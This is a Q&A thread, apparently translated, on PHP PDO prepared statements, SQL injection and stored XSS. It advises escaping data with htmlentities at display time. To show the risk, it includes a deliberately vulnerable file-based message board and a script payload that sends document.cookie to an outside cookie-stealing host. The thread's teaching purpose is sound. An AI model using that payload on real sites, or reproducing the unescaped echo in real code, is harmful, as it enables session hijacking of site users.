PHP Stored Security XSS and SQL Injection

Question

Is there any security breach or possibility of attacks on the code box below?

public static function prepareQuery($query, $params){

        $preparedQuery = self::getConn()->prepare($query);
        foreach ($params as $key => $value) {
            $preparedQuery->bindValue($key, $value);
        }

        $preparedQuery->execute();
        $result = $preparedQuery->fetchAll(PDO::FETCH_OBJ);

        return $result;
    }

In particular to:

$result = $preparedQuery->fetchAll(PDO::FETCH_OBJ);

The entry of tados I get in:

fetchAll(PDO::FETCH_OBJ)

is it safe? Is there some kind of validation I can do to prevent some possible attack or malicious code?

Answer 1

XSS is one thing and SQL-Injection is another totally different, although both can (always) originate from the same source:

SQL-Injection

It occurs if the user can manipulate or break the query. When we use bindValue and bindParam, the native Apis themselves already "treats" That. I recommend you read this other answer of mine:

• Why do they say $_GET in PHP is insecure against sql Injection?

XSS

It is the code injection that will be displayed later on the page. This can occur with bindParam because it is not an SQL problem. Any storage medium that shows the data on the page later may suffer from this failure, for example: instead of saving the data in a database, the site saved in a . txt:

save php.

file_put_contents('mural.txt', $_POST['mensagem'], FILE_APPEND);

And when it came time to display the.txt mural, just do this:

view.php

echo file_get_contents('mural.txt');

Anything that was sent on $_POST['mensagem'], will be displayed directly, even HTML, JS and CSS that were created by the sender. In this, data exploitation can occur, such as reading and hijacking cookies if the JS sent does something like:

<script>
var q = document.createElement('script');
q.src = "http://www.sitequevaisequestraroscookies.com/pagina?cookies=" + encodeURI(document.cookie);
document.body.appendChild(q);
</script>

It’s an example code just to understand how it occurs.

Completion

I believe that bindParam and bindValue already solves SQL-Injection, but XSS you can solve otherwise. People talk to do things like:

 $preparedQuery->bindValue($key, htmlentities($_POST['mensagem']));

Or:

 $preparedQuery->bindValue($key, strip_tags($_POST['mensagem']));

Yes, they are things that work, but there is a problem, not of security, but of breaking the data. I personally am in favor of saving the data the way it came, just trying to avoid SQL-Injection, and XSS should be solved when displaying the data and not when recording. This is because it is very common to occur loss of characters and things like that, which can make the database data become "broken" and impossible to recover.

I won’t go into detail, it’s not really the fault of strip_tags or htmlentities. What happens is that people often migrate the data or change the pages/systems and etc and in these maintenances things can get lost. Outside that if the data is reused in a system "nonweb" may occur to get like this in the GUI:

<p>olá</p>

Imagine that your system has tutorials about HTML or other languages. You may lose formatting. Many forum systems like IP.Board (which I used at one time) lost a lot of data as upgrades to new versions.

In other words, it’s severe the way it came and does the treatment when it comes to showing off:

while ($row = $q->fetch(PDO::FETCH_ASSOC)) {
    echo 'Nome: ', htmlentities($row['nome']), '<br>',
         'mensagem: ', htmlentities($row['mensagem']), '<hr>';
}

Of course if you want to use strip_tags and it is your goal not to talk about codes anywhere on the site, you can use at the time of recording. But think about it: if it’s a call system from which you need to pass to another analyst a code that has HTML snippets or something like that, when clearing the string the message will lose its meaning, then replacing the HTML characters with entities would be more suitable for the situation.